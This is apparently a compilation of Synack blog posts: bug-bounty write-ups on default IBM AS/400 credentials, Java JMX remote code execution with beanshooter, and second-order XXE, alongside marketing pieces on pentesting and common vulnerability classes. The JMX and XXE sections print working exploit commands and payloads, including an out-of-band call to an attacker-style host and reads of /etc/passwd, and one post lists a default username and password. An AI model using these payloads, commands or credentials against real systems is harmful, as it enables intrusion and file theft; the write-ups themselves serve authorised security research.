Popeax is a member of the Synack Red Team.

Often people think security research requires deep knowledge of systems and exploits, and sometimes it does, but in this case all it took was some curiosity and a Google search to find an alarmingly simple exploit using default credentials.

On a recent host engagement, I discovered an unusual login page running on port 8080, a standard but less often used HTTP port. The login page did not resemble anything I had encountered in the thousands of login pages across hundreds of client engagements.

Nothing new. Even for a seasoned member of the Synack Red Team (SRT), it isn’t unusual to discover commercial products that one hasn’t seen before.

The login page clearly showed the product as some type of IBM server. In the URL, I noticed the string “profoundui.” A quick Internet search identified an IBM resource that stated:

“Profound UI is a graphical, browser-based framework that makes it easy to transform existing RPG applications into Web applications, or develop new rich Web and mobile applications that run on the IBM i (previously known as the AS/400, iSeries, System i) platform using RPG, PHP, or Node.js.”

Given these facts, I Googled for “IBM AS/400 default password” and found IBM documentation that listed default AS/400 credentials.

As any elite hacker would do, I copied and pasted all six default usernames and passwords into the login form.

Sure enough the last set of credentials worked with user QSRVBAS and password QSRVBAS.

It was beyond the scope of the engagement to proceed any further to see how much access was possible. The vulnerability was documented in the report that was given to the client to be remediated.

After a few days, the client requested a patch verification of the vulnerability using Synack’s patch verification workflow. This workflow allows a client to request the SRT to verify an implemented patch within the Synack Platform. After receiving the patch verification request, I quickly verified the vulnerability was no longer exploitable.

It is hard to believe, but even today commercial products still ship and are installed with default credentials. Often the onus is on the end user to be aware they must change the credentials and lock the default accounts.

The ingenuity and curiosity of the SRT cannot be replicated by scanners or automated technology. The SRT members are adept at finding this type of vulnerability in custom and commercial applications, even while running in obscure locations, which leads to exploitable vulnerabilities being surfaced to the customer.

The post Exploits Explained: Default Credentials Still a Problem Today appeared first on Synack.

IT and Cybersecurity leaders need the clearest picture of their networks and assets to understand if their organizations are at risk and what to do about it. When it comes to looking ahead at zero day vulnerabilities, it can be helpful for leaders to first look back to understand the collective strengths and weaknesses of the cybersecurity industry and the effects they’ve had on the different risks and threats it’s tasked with analyzing and preventing.

As a helpful tool for 2023 strategic cybersecurity planning, we’re highlighting the most common vulnerability categories found in 2022, across more than 27,000 discovered vulnerabilities by the Synack Red Team. Each of these vulnerabilities have the potential to pose significant threats to large organizations and will continue to be monitored as we move through the year.

Here are the top five vulnerability categories found by Synack in 2022:

#1 Authorization Permission

The most common vulnerability found in 2022 relates to improper authorizations. With authorizations, a user’s right to “access a given resource [is] based on the user’s privileges and any permissions or other access-control specifications that apply to the resource.” In this case, unauthorized users may gain access to resources or initiate unwanted actions that they should not be allowed to perform, potentially leading to data exposures, DoS or arbitrary code execution.

#2 Cross Site Request Forgery

The runner up vulnerability is Cross Site Request Forgery (CSRF), which is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

#3 Information Disclosure

Information Disclosure can occur due to security mistakes which expose sensitive information to an actor that is not explicitly authorized to have access to that information. Information exposures can occur in different ways, resulting from mistakes that occur in behaviors that explicitly manage, store, transfer or cleanse sensitive information. 

#4 SQL Injection

This attack style consists of insertion or injection of a SQL query via the input data from client to application. A successful exploit of this style can read and even modify sensitive data, execute admin functions (including shutting down systems), and in some cases, issue commands to an operating system.

#5 Authentication Session Management

Broken Authentication Session Management vulnerabilities round out the Top 5 found by Synack in 2022. Websites may require users to login using a username and password, MFA or other authentication schemes, which may contain exploitable vulnerabilities. The site will assign and send each logged in visitor a unique session ID that serves as a key to the user’s identity on the server, if the session ID is not properly secured a cybercriminal can impersonate a valid user and access that user’s account.

How to Reduce Your Exposure to a Top 5 Vulnerability

Synack offers an offensive security testing platform allowing enterprise customers to track exploitable vulnerabilities in their environment and to close security gaps before they can be exploited by bad actors. The Synack Platform pairs the Synack Red Team, a community of 1,500 expert and vetted adversarial researchers, with the machine intelligence in our platform. Synack’s security testing missions cover web assets and host assets, as well as mobile, cloud and API security.

If you’re not penetration testing on a continuous basis, you should be. Talk to your Synack rep or your authorized security sales representative to learn more about strategic security testing.

The post Synack’s Top 5 Vulnerabilities Found in 2022 appeared first on Synack.

Nicolas Krassas is a member of the Synack Red Team and has earned distinctions such as SRT Envoy and Guardian of Trust.

Of all the Synack targets, my favorite ones are always host assessments. There, one can find a multitude of services with different configurations, versions and usage. One that always caused me trouble was the Java RMI case, until I decided to spend time reviewing the process step by step.

Throughout the years there were several targets where skilled Synack Red Team (SRT) members were able to successfully exploit vulnerabilities with Remote Code Execution, and this information in many cases was missing from my arsenal. I set a goal to find out how the exploitation was taking place and to be able to better understand the tools and methods to finding and exploiting it.

A few “good to know” items:

What is Java RMI used for?

The Java Remote Method Invocation (RMI) system allows an object running in one Java virtual machine to invoke methods on an object running in another Java virtual machine. RMI provides for remote communication between programs written in the Java programming language.

What is JMX?

Wikipedia describes Java Management Extensions (JMX) as follows, “Java Management Extensions (JMX) is a Java technology that supplies tools for managing and monitoring applications, system objects, devices (such as printers) and service-oriented networks.”

JMX is often described as the “Java version” of SNMP (Simple Network Management Protocol). SNMP is mainly used to monitor network components like network switches or routers. Like SNMP, JMX is also used for monitoring Java-based applications. The most common use case for JMX is monitoring the availability and performance of a Java application server from a central monitoring solution like Nagios, Icinga or Zabbix.

JMX also shares another similarity with SNMP: While most companies only use the monitoring capabilities, JMX is actually much more powerful. JMX allows the user not only to read values from the remote system, it can also be used to invoke methods on the system.

JMX fundamentals: MBeans

JMX allows you to manage resources as managed beans (MBean). An MBean is a Java Bean class that follows certain design rules of the JMX standard. An MBean can represent a device, an application or any resource that needs to be managed over JMX. You can access these MBeans via JMX, query attributes and invoke Bean methods.

The JMX standard differs between various MBean types; however, we will only deal with the standard MBeans here. To be a valid MBean, a Java class must:

• Implement an interface
• Provide a default constructor (without any arguments)
• Follow certain naming conventions, for example implement getter/setter methods to read/write attributes

MBean server

An MBean server is a service that manages the MBeans of a system, which we’ll see demonstrated in an attack later in this post. Developers can register their MBeans in the server following a specific naming pattern. The MBean server will forward incoming messages to the registered MBeans. The service is also responsible for forwarding messages from MBeans to external components.

After we have a JMX service running on RMI, we can go through the various ways such a service might be attacked. Over time, various attack techniques have been discovered that are related to JMX over RMI, and we will step through most of them one by one.

Abusing available MBeans

Applications are able to register additional MBeans, which can then be invoked remotely. JMX is commonly used for managing applications, therefore the MBeans are often very powerful.

A failed start

Starting research on the topic, the first items that one will see are references to rmiscout, an exceptional tool on the time that was created but not maintained anymore for over two years with several issues on deployment. At that time I moved on BaRMie, which surprisingly is even older than rmiscout but easier to work with for basic recon. An alternative tool, under the name mjet, seems to be more updated and somewhat easier to use but still my results were poor. As one can see right away, many times simply taking a tool from the shelves and trying to work with it is not a solution.

Back to school

Simply using the tools without understanding exactly what they do won’t work in the long run and that’s something that I was aware of from the start. But everybody is looking for shortcuts.  Back to reading then, and starting with posts such as this one and this one. I ended up on a relatively recent presentation from Tobias Neitzel, where he also presented his tools, RMG and Beanshooter.

New tools, new methods

With a better understanding and with a pair of excellent tools, the results were the following over the next months. 

On a target with several weeks already being launched, the RMI service was not noticed or exploited at that time. The following steps provided an RCE case.

Identifying:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar  enum server_ip 9999

Tonka bean deployment:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar tonka deploy server_ip 9999 –stager-url http://tupoc:8888 –no-stager

On our Tupoc (external Synack collaborator system) 

Waiting for a callback:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar stager xxx.xx.xx.xx 8888 tonka

Verification:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar  tonka status server_ip 9999 

Command execution:

root@pd-server:~/tools/rmi/beanshooter# java -jar beanshooter-3.0.0-jar-with-dependencies.jar  tonka exec server_ip 9999 id

The case was awarded with a full RCE reward.

Not all cases will happen to be straightforward and in rare occasions issues might arise, but with better understanding of the process and the tools, we are always able to achieve better results.

References:
https://www.youtube.com/watch?v=t_aw1mDNhzI (Amazing work by Tobias Neitzel)
https://docs.jboss.org/jbossas/jboss4guide/r5/html/ch2.chapter.html
https://docs.alfresco.com/content-services/7.0/admin/jmx-reference/

Final notes

During the process, a few issues were identified in the tools that were handled swiftly and additionally an issue was created towards Glassfish repo under, https://github.com/eclipse-ee4j/glassfish/issues/24223.

The post Exploits Explained: Java JMX’s Exploitation Problems and Resolutions appeared first on Synack.

Test to Find the Exploitable Vulnerabilities and Their Root Causes

Vulnerability Management in Your Cybersecurity Program

Today’s complex software systems often include code that leaves them vulnerable to attack by hackers who are always looking for a way to break in. And even with a system with no inherent vulnerabilities, a misconfiguration or careless deployment of credentials handling can afford hackers an opportunity for infiltration. A record 26,448 software security flaws were reported in 2022, with the number of critical vulnerabilities up 59% on 2021. So a good cybersecurity program should include a program for vulnerability management.

Tactical vs. Strategic Penetration Testing in Vulnerability Management

Vulnerability management is the process of identifying and remediating weaknesses in your systems, including your applications, infrastructure and security processes. And a key component of that program should be penetration testing, actively probing your system to identify vulnerabilities so they can be analyzed, prioritized and remediated.

As companies move to agile models for software development, the release of new features or products becomes more frequent. And that code can introduce vulnerabilities. Similarly, more systems are being deployed in the cloud. And cloud assets can fall out of compliance or become susceptible to attacks after a single update.

Traditionally, pentesting has been performed on a tactical, one-time basis. But the most thorough penetration test, even if repeated periodically, is only a snapshot in time. While one-time pentesting can be an essential part of any vulnerability management program, this tactical approach is most appropriate for obtaining a picture of your security posture. Identify your vulnerabilities and address them as needed. It is also useful in testing for and proving compliance in regard to security standards such as OWASP, PCI and NIST.

Comprehensive cybersecurity requires more strategic thinking, going beyond the concept of a snapshot. You need to leverage test results for operational purposes, track changes over time, understand performance across the organization, analyze root cause, and communicate your security posture. And to accomplish this you need to have a program of continuous pentesting like those available through Synack. Synack can pentest agile development output at multiple stages of development and assist developer and QA teams with quick remediation through real-time reporting and patch verification. Continuous testing is also best for cloud assets. To facilitate cloud security testing, Synack has integrations with AWS, Azure and GCP that enable detection of changes that could cause problems.

For strategic vulnerability management Synack provides continuous pentesting in 90- and 365-day increments (Synack90 and Synack365) to address a wide range of use cases. Both programs help you catch vulnerabilities as they are introduced, and track your security posture across the organization and over time.

Automated Scanning and Pentesting: A One-Two Punch For Identifying and Remediating Vulnerabilities

Two of the tools in the Synack platform, whether they are deployed tactically or strategically, that provide an effective one-two punch for identifying and remediating exploitable vulnerabilities are Synack SmartScan and Synack’s transformational penetration testing. Deploying these two tools can help you cut through the noise, taking automated vulnerability testing results and applying human intelligence to improve the vulnerability management workflow. You can address the problems that really matter.

Deploy SmartScan for Low-Importance Assets

Vulnerability scanning is most appropriate for low-importance assets. Traditional vulnerability scanners are good at identifying known vulnerabilities. But they typically treat all assets the same and are not able to distinguish exploitable vulnerabilities from the noise. They require expert reviews and triage. Synack SmartScan takes the scanning idea to another level. SmartScan is an automated set of scanning tools that continuously watch for changes in your environment to identify and triage security vulnerabilities. SmartScan identifies potential vulnerabilities and engages the Synack Red Team (SRT) to evaluate the results. The SRT along with Synack Operations generates a vulnerability report, including steps to reproduce and remediate the vulnerability. SmartScan enables rather than burdening your security and operations teams.

Deploy Pentesting for High-Importance Assets

Pentesting gives you the more accurate and complete vulnerability information that high-importance assets require. To pentest your organization Synack calls on a vetted community of security researchers to actively probe your assets for exploitable vulnerabilities, much like a hacker would. You get top-tier talent to find and fix exploitable vulnerabilities, and confirm remediation efforts across your external attack surface.

Deploy Synack Stand-Alone or in Partnership with Other Security Platforms

With Synack’s flexibility, you can integrate automated scanning and pentesting into your existing workflow, or deploy them as a new process. Either way you get comprehensive end-to-end offensive testing, taking you from discovery through to remediation. And Synack tools can be deployed as an add-on to larger security systems such as Splunk’s data platform or Microsoft’s Sentinel security information and event manager (SIEM).

Learn How Synack Can Help Protect Your Organization

For the most comprehensive vulnerability management, deploy continuous scanning and pentesting to help you identify and remediate vulnerabilities across your entire asset base.

 

The post How to Deploy Strategic Pentesting in Your Vulnerability Management Program appeared first on Synack.

Government agencies are faced with cybersecurity challenges from all sides. Digital transformation initiatives can expose weak points in an attack surface, putting pressure on agencies’ IT teams to get it just right. And from insider threats to persistent vulnerabilities within networks and operating systems, public sector leaders feel the urgency to obtain a clear picture of what’s most at-risk.

As we kick off 2023, the Synack Red Team reviewed the most common vulnerabilities found in 2022. Each of these vulnerabilities have the potential to pose significant threats to large organizations—governments and beyond—and will continue to be monitored as we move through 2023.

Here are the top 5 vulnerability categories found by Synack in government accounts in 2022:

#5: Remote Execution

Remote Code Execution refers to a vulnerability where an unauthenticated attacker can remotely execute commands to place malware or malicious code on your network or hardware.

#4: Brute Force

In a brute force attack, attackers utilize exhaustive key searches to constantly search and systematically check possible passwords or passphrases until the correct one is found. This can lead to successful phishing attacks and more.

#3: SQL Injection

This attack style consists of insertion or injection of a SQL query via the input data from client to application. A successful exploit of this style can read and even modify sensitive data, execute admin functions (including shutting down systems), and in some cases, issue commands to an operating system.

 

 #2: Authorization Permissions

The second most common vulnerability found in 2022 relates to improper authorizations. With authorizations, a user’s right to “access a given resource [is] based on the user’s privileges and any permissions or other access-control specifications that apply to the resource.” In this case, unauthorized users may gain access to resources or initiate unwanted actions that they should not be allowed to perform, potentially leading to data exposures, DoS, or arbitrary code execution.

#1: Cross Site Scripting XSS 

The most found vulnerability among Synack’s government missions in 2022 was cross-site scripting (XSS). According to NIST, this vulnerability “allows attackers to inject malicious code into an otherwise benign website. These scripts acquire the permissions of scripts generated by the target website and can therefore compromise the confidentiality and integrity of data transfers between website and client. Websites are vulnerable if they display user-supplied data from requests or forms without sanitizing the data so that it is not executable.”

Government organizations need to stay on top of these and countless other vulnerabilities, and mandates are pushing security teams to address this head on by adopting a zero trust model. At a high level, a Zero Trust Architecture provides a framework and structural guidance to ensure that only the individuals and systems who need access, have access. Dedicated and continuous application security testing programs are a critical piece to achieving a zero trust paradigm, and investment in security testing is critical to ensuring agencies in the United States have minimized known vulnerabilities and are adhering to Executive Order 14028 and Memorandum 22-09.

How can my team reduce found vulnerabilities?

• Understand your attack surface. Ensure you have a clear picture of your dynamic assets and that your attack surface is defined. This is key to managing cyber risk. 
• Set your vulnerability alerts. Stay aware of the latest active exploits, vulnerabilities and security issues affecting government and industry-specific verticals by signing up for alerts from CISA.
• TEST! Does your security testing plan include testing for the 5 common vulnerabilities above? Synack can help. Chat with a Synack public sector representative today to learn how the Synack platform empowers in-house teams to scale and protect your mission continuously in a FedRAMP Moderate In Process environment.
• Double down on Vulnerability Management. Make sure you are prioritizing vulnerabilities according to their criticality, patching them and then independently verifying that those patches have worked.
• Orchestrate. Your SOAR has defensive security data from logging, alerting, threat intel and more. You should also integrate Synack continuous penetration testing data to automate your offensive security practices within the SOC. Such an integration will enable continuous, defensive improvements so you can truly grade and improve your security posture.

Additional Resources

READ: Our Guide to Zero Trust
WATCH: Webinar with HHS’ Matthew Shallbetter
LEARN: Synack’s FedRAMP Moderate In Process Certification

The post The Top 5 Cybersecurity Vulnerabilities for Government Agencies in 2022 appeared first on Synack.

Kuldeep Pandya is a member of the Synack Red Team. You can find him on Twitter or his blog.

This writeup is about my recent discovery of a Second Order XXE that allowed me to read files stored on the web server.

One morning, a fresh target was onboarded and I hopped onto it as soon as I received the email. In the scope, there were two web applications listed along with two postman collections. I prefer postman collections over web apps, so I loaded the collections with their environments into my postman.

After sending the very first request, I noticed that the application was using SOAP API to transfer the data. I tried to perform XXE in the SOAP body but the application threw an error saying “DOCTYPE is not allowed”.

Here, we cannot perform XXE as DOCTYPE is explicitly blocked.

Upon checking all the modules one by one, I came across a module named NormalTextRepository in the postman collection which had the following two requests:

• saveNormalText
• GetNamedNormalText

After sending the first saveNormalText request and intercepting it in Burp Suite, I found out that it contained some HTML-encoded data that looked like this:

Upon decoding, the data looked like this:

<?xml version="1.0"?>
<normal xmlns="urn:hl7-org:v3" xmlns:XX="http://REDACTED.com/REDACTED"><content XX:statu

This quickly caught my attention. This was XML data being passed inside the XML body in a SOAP request (Inception vibes).

I went on to try XXE here as well. For this, I copy pasted a simple Blind XXE payload from PortSwigger:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com/XXETEST"> %xxe; ]>

I used Synack’s provided web server to test for this. Upon checking its logs, I found there indeed was a hit for the /XXETEST endpoint.

This still was a blind XXE and I had to turn it into a full XXE in order to receive a full payout. I tried different file read payloads from PayloadsAllTheThings and HackTricks but they did not seem to work in my case.

For me, the XXE was not reflected anywhere in the response. This is why it was comparatively difficult to exploit.

After poking for a while, I gave up with the idea of full XXE and went ahead to check if an internal port scan was possible or not as I was able to send HTTP requests.

I sent the request to Burp Suite’s intruder and fuzzed for the ports from 1 to 1000. The payload for that looked like the following:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:§1§/XXETEST"> %xxe; ]>

However, the result of the intruder didn’t make any sense to me. All the ports that I fuzzed were throwing random time delays.

I lost all hope and was about to give up on this XXE once again. Then a thought struck, “If this data is being saved in the application, it has to be retrievable in some way as well.” I checked the other GetNamedNormalText request in this module and instantly felt silly. This request retrieved the data that we saved from the first saveNormalText request.

I used the following XXE file read payload and saved the data:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>

Then sent the second GetNamedNormalText request to retrieve the saved data. And in the response, I could see the contents of the /etc/passwd file!

This was enough for a proof of concept. However, looking at the JSESSIONCOOKIE, I could tell that the application was built using Java. And, in Java applications, if you just provide a directory instead of a file, it will list down the contents of that directory and return it.

To confirm this theory, I just removed the /passwd portion from the above file read payload. The updated payload looked like this:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/etc"> ]>

Upon saving the above payload and retrieving it using the second request, we could see the directory listing of the /etc directory!

I sent it to Synack and they happily triaged it within approximately 2 hours.

The post Exploits Explained: Second Order XXE Exploitation appeared first on Synack.

While the end of the year looms, security teams are busy closing out projects before the holiday season. One of our clients, a large multinational company, has a requirement to have a large number of assets tested annually for vulnerabilities by an external provider, adding to the end-of-year task list.  

Our client faced a situation where they had a large number of assets that needed testing in the final months of the year. In this situation, a traditional pentesting model struggles to scale. A pentester, or even a small team of pentesters, can only work so fast: All you can do is prioritize your key assets and work through the rest as quickly as you can. Or throw more money at the problem by bringing in additional pentesters, if they’re even available.

Synack’s model is different. The Synack Platform provides a scalable means for clients to prepare and manage their assessment requests, as well as to track progress on their annual compliance requirements. Our global community of skilled, vetted researchers allows our clients to scale testing on-demand to meet peaks within the business cycle. In this case, we more than doubled the number of concurrent assessments running within the space of a month. 

How We Scale Your Pentesting In a Pinch 

The Synack Platform plays a key role in enabling scaling security testing quickly and effectively. Individual subsidiaries of a company are able to request testing for specific assets by providing the relevant data through the client portal. 

At Synack, we refer to a test of one or a group of assets as an “assessment.” Once an assessment is submitted, the assets are scoped by our Security Operations Engineers to provide a clear and well-documented scope for the Synack Red Team (SRT), our community of 1,500 security researchers. Then we propose a schedule and associated Rules of Engagement, the terms SRT must follow to participate in an assessment. 

Once the client agrees to the schedule, these assessments comprise 7-10 days of testing, combining both our SmartScan technology as well as testing by SRT. Once an assessment is running, the client has the ability to pause it through the portal  as well as send messages to SRT researchers to direct their attention to key features or areas of interest. 

Remediate Vulns with the Same Speed as Testing

The portal provides users with instant access to reports on vulnerabilities uncovered by our SRT as soon as those have been reviewed and approved by our Vulnerability Operations Team. These reports can be anything from a one-page executive summary for C-suite readers to an in-depth technical walkthrough of the steps to reproduce the vulnerability as well as the measures to take to remediate it. 

Reports are ideal for the engineering teams responsible for developing and maintaining the assets, helping them quickly understand and solve any security flaws identified. Once the development teams have fixed the vulnerabilities, the client also has the ability to request “Patch Verification” through the portal. Patch verifications will usually be conducted by the SRT member who found the vulnerability, confirming if it is fixed or if the issue persists.

To learn more about how Synack’s scalable capabilities can meet your security and compliance needs, contact us.

The post How Synack Scales Pentesting Without Compromising Quality appeared first on Synack.

Developing and updating software using an agile methodology has become increasingly popular and indeed has benefits compared with a traditional waterfall approach, including productivity efficiencies, flexibility and continuous improvement. But when it comes to validating software security, agile methodology also presents challenges. 

With an agile Software Development Life Cycle (SDLC) also comes concurrent workflows, adjusting goals and frequent deliverable changes. Predictable static security testing methods that may have been suitable for a waterfall approach quickly fail to keep pace in a more dynamic agile SDLC.

To meet this challenge, we have partnered with Jira, the leading software development tool used by agile teams, to make continuous security validation an integrated part of the SDLC. Synack continuously tests application security throughout the development and update phases, so vulnerabilities can be discovered earlier in the life cycle even as the projects are frequently changing. Unlike traditional static security testing approaches, which run infrequently and with rigid scope, our security testing runs continuously with dynamic and open scope.

We offer insights and intelligence by delivering reports of exploitable vulnerabilities discovered through our premier security testing platform that seamlessly integrates the adversarial perspective of the world’s elite community of security researchers, the Synack Red Team (SRT), with our continuous scanning technology.

Our approach combines machine intelligence to surface well known and suspected vulnerabilities, with human expertise for open vulnerability discovery and detailed reporting about actual exploitable gaps in application security. The SRT provides specific recommendations to fix vulnerabilities and will retest as the software team applies patches. In this manner, software security posture can be continuously validated and improved throughout the SDLC rather than waiting until vulnerabilities manifest themselves late in the development process or worse yet, after being released to production.

The Synack App for Jira integrates Synack vulnerability findings with SDLC workflows so that security issues can be remediated more effectively and efficiently. By integrating Synack and Jira instances, we’ve removed the inefficiencies that come with vulnerability management and software development being independent, unintegrated workflows.

Any time new vulnerability findings are reported by the Synack Platform, it will also populate automatically within the associated Jira Project based on predefined configurations and field mappings. Anytime you make a status update on the Synack Platform or on Jira, the change will be synched to both platforms, allowing your security and development teams to see the same information concurrently and to track progress until the issue has been fixed. 

Finally, security comments are synched to the Jira project so that all participants in the SDLC have access to the finding details, even if they don’t have direct access to security tools. Armed with real-time security findings your agile team can make course corrections immediately, before the problems compound and escalate.

You can access Synack’s App for Jira in a free, simple, and easy way. It’s a plug-and-play App that seamlessly installs on your existing Jira subscription and can be configured to work with your Synack Platform subscription within a matter of minutes. The Synack App for Jira is supported for on-premise (server and data center) and cloud instances of Jira.

For more information, see the Atlassian marketplace listing or read our solution brief. Contact our tech alliance team for further information technologypartners@synack.com. 

The post Making Security Testing Part of Your Agile Software Development Life Cycle appeared first on Synack.

API (application programming interface) cybersecurity isn’t as thorough as it needs to be. When it comes to pentesting, web APIs are often lumped in with web applications, despite 90% of web applications having a larger attack surface exposed via APIs than user interfaces, according to Gartner. However, that kind of testing doesn’t cover the full spectrum of APIs, potentially leaving vulnerabilities undiscovered. As APIs become both increasingly important and increasingly vulnerable, it’s more important than ever to keep your APIs secure.

APIs vs. Web Applications

APIs are how software programs talk to each other. APIs are interfaces that allow software programs to transmit data to other software programs. Integrating applications via APIs allows one piece of software to access and use the capabilities of another. In today’s increasingly connected digital world, it’s no surprise that APIs are becoming more and more prevalent.

When most people think of APIs, what they’re really thinking about are APIs  exposed via a web application UI, usually by means of an HTTP-based web server. A web application is any application program that is stored remotely and delivered via the internet through a browser interface. 

APIs, however, connect and power everything from mobile applications, to cloud-based services, to internal applications, partner platforms and more. An organization’s APIs may be more numerous than those that can be enumerated through browsing a web application.

Differences in Pentesting

Frequently, organizations that perform pentesting on their web applications assume that a clean bill of health for web applications means that their APIs are just as secure. Unfortunately, that isn’t the case. An effective API security testing strategy requires understanding the differences between web application testing and API security testing. 

Web application security mostly focuses on threats like injection attacks, cross-site scripting and buffer overflows. Meanwhile, API breaches typically occur through issues with authorization and authentication, which lets cyber attackers get access to business logic or data.

Web application pentesting isn’t sufficient for testing APIs. Web application testing usually only covers the API calls made by the application, though APIs have a much broader range of functioning than that.

To begin a web application pentest, you provide your pentesters with a list of and they test all of the fields associated with these URLs. Some of these fields will have APIs behind them, allowing them to communicate with something. If the pentesters find a vulnerability here, that’s an API vulnerability – and that kind of API vulnerability will be caught. However, any APIs that aren’t connected to a field won’t be tested.

Most organizations have more APIs than just the ones attached to web application fields. Any time an application needs to talk to another application or to a database, that’s an API that might still be vulnerable. While a web application pentest won’t be able to test these APIs, an API pentest will.

The Importance of API Pentesting

Unlike web applications, APIs have direct access to endpoints, and cyber attackers can manipulate the data that these endpoints accept. So, it’s important to make sure that your APIs are just as thoroughly tested as your web applications. By performing separate pentesting for APIs and web applications, you make sure that you have your attack surface covered.

Synack can help. To learn more about the importance of pentesting for APIs, read this white paper and visit our API security solution page.

The post Don’t Let API Penetration Testing Fall Through the Cracks appeared first on Synack.

Cloud technology has afforded organizations the ability to operate dynamically and build new technologies quickly while keeping costs low. However, as organizations move away from on-premises IT infrastructure, they may lose visibility into their new cloud-based assets. 

Cloud environments, such as the big three cloud providers (Amazon, Google and Microsoft), vastly differ from provider to provider. Large organizations likely have assets in more than one cloud environment, which creates a challenge for security teams. Specialized knowledge is needed to ensure proper configuration across cloud environments, otherwise it’s easy to lose track of existing assets and their conditions.

The likelihood that a cloud container (or bucket or blob) is improperly configured, exposing assets to the public internet, is high. One checkbox missed when setting up an application in a cloud environment could expose information unknowingly. 

This is why security teams need access to offensive security testing that provides the specific expertise needed per cloud provider. 

How Synack Solves for Pentesting in the Cloud

Enter the Synack Red Team (SRT) and platform. The SRT is a community of more than 1,500 security researchers, each chosen for their skillset, resulting in a large, diverse pool to perform pentests or other security testing for the cloud. 

When setting up an SRT engagement with Synack, we’ll find the right security researchers with expertise tailored to your cloud or multi-cloud environment. We also handle dynamic IPs–often associated with cloud environments–with ease, updating the scope of a project every night so that deployed SRT researchers stay on target.

Whether you need IT infrastructure checked in your Microsoft Azure environment or important assets reviewed in Amazon S3 buckets, the Synack Platform has you covered. After SRT reports are vetted for high impact misconfigurations and exploitable vulnerabilities, the platform delivers reports with as much or as little detail as needed. You can also request a patch verification within the platform to ensure any remediations or reconfigurations really worked.

With Synack, you can see security trends over time. If you’re just beginning your digital transformation—moving from on-prem to the cloud—or your organization has spent years building cloud infrastructure and applications, you need to be able to demonstrate to leadership that your security measures are effective. 

From round-the-clock coverage to one-off cloud vuln checklists, Synack can sniff out exploitable vulnerabilities and help you, through data and proof-of-work, build a hardened cloud attack surface.

The post Untangling Your Cloud Assets with Offensive Security Testing appeared first on Synack.

In your cybersecurity practice, do you ever worry that you’ve left your back door open and an intruder might sneak inside? If you answered yes, you’re not alone. The experience can be a common one, especially for security leaders of large organizations with multiple layers of tech and cross-team collaboration to accomplish live, continuous security workflows.

At Synack, the better way to pentest is one that’s always on, can scale to test for urgent vulnerabilities or compliance needs, and provides transparent, thorough reporting and coverage insight.

Know what’s being tested, where it’s happening and how often it’s occurring 

With Synack365, our Premier Security Testing Platform, you can find relief in the fact that we’re always checking for unlocked doors. To provide better testing oversight, we maintain reports that list all web assets being tested, which our customers have praised. Customer feedback indicated that adding continuous oversight into host assets would also help to know which host or web assets are being tested, when and where they’re being tested, and how much testing has occurred. 

Synack’s expanded Coverage Analytics tells you all that and more for host assets, in addition to our previous coverage details on web applications and API endpoints, all found within the Synack platform. With Coverage Analytics, Synack customers are able to identify which web or host assets have been tested and the nature of the testing performed. This is helpful for auditing purposes and provides proof of testing activity, not just that an asset is in scope. Additionally, Coverage Analytics gives customers an understanding of areas that haven’t been tested as heavily for vulnerabilities and can provide internal red team leaders with direction for supplemental testing and prioritization. 

Unmatched Oversight of Coverage 

Other forms of security testing are unable to provide the details and information Synack Coverage Analytics does. Bug bounty testing typically goes through the untraceable public internet or via tagged headers, which require security researcher cooperation. The number of researchers and hours that they are testing are not easily trackable via these methods, if at all. Traditional penetration testing doesn’t have direct measurement capabilities. Our LaunchPoint infrastructure stands between the Synack Red Team, our community of 1,500 security researchers, and customer assets, so customers have better visibility of the measurable traffic during a test. More and more frequently, we hear that customers are required to provide this kind of information to their auditors in financial services and other industries. 

Benefits of Coverage Analytics 

• Know what’s being tested within your web and host assets: where, when and how much 
• View the traffic generated by the Synack Red Team during pentesting
• Take next steps with confidence; identify where you may need supplemental testing and how to prioritize such testing

Starting today, security leaders can reduce their teams’ fears of pentesting in the dark by knowing what’s being tested, where and how much at any time across both web and host assets. Coverage Analytics makes sharing findings with executive leaders, board members or auditors simple and painless.

Current Synack customers can log in to the Synack Platform to explore Coverage Analytics today. If you have questions or are interested in learning more about Coverage Analytics, part of Synack’s Better Way to Pentest, don’t hesitate to contact us today!

The post Worry-free Pentesting: Continuous Oversight In Offensive Security Testing appeared first on Synack.

Nikhil Srivastava is a Synack Red Team legend and co-founder of Bsides Ahmedabad.

An Account Takeover (ATO) is an attack whereby attackers take ownership of online accounts using several methods. It is unfortunately more common than you’d think, despite all the warnings to create complex passwords, avoid phishing emails and use multi-factor authentication.

Recent research shows 1 in 5 adults have suffered from an account takeover with  average financial losses of approximately $12,000. Further, PerimeterX reported that 75 to 85% of all attempted logins in the second half of 2020 were account takeover attempts. 

The Digital Shadows Research Team exposed an even more concerning statistic: more than 24 billion account usernames and passwords are available for purchase on the dark web. In some cases, purchasing credentials isn’t necessary, as year after year, the most common password is 123456, appearing in one out of every 200 passwords. 

Now that we know just how common ATOs are, let’s review some of the tactics, techniques and procedures (TTPs) used in such attacks.

Account Takeover Methodologies

• Change Email/Password CSRF – The simplest ATO employs phishing. An attacker sends a link to the victim, and when the unsuspecting user clicks on the link, the victim’s email/password will be changed and the attacker can take over their account.
• OAuth CSRF – Consider a website that allows users to log in using either a classic, password-based mechanism or by linking their account to a social media profile using OAuth. In this case, if the application fails to use the state parameter, an attacker could potentially hijack a user’s account on the client application by binding it to their own social media account.
• Default/Weak Credentials – Most products have their own default credentials for things like servers, routers, and Virtual Network Computing (VNC) that sometimes do not get changed. Many applications lack a strong password policy and will allow users to set weak passwords such as 123456.
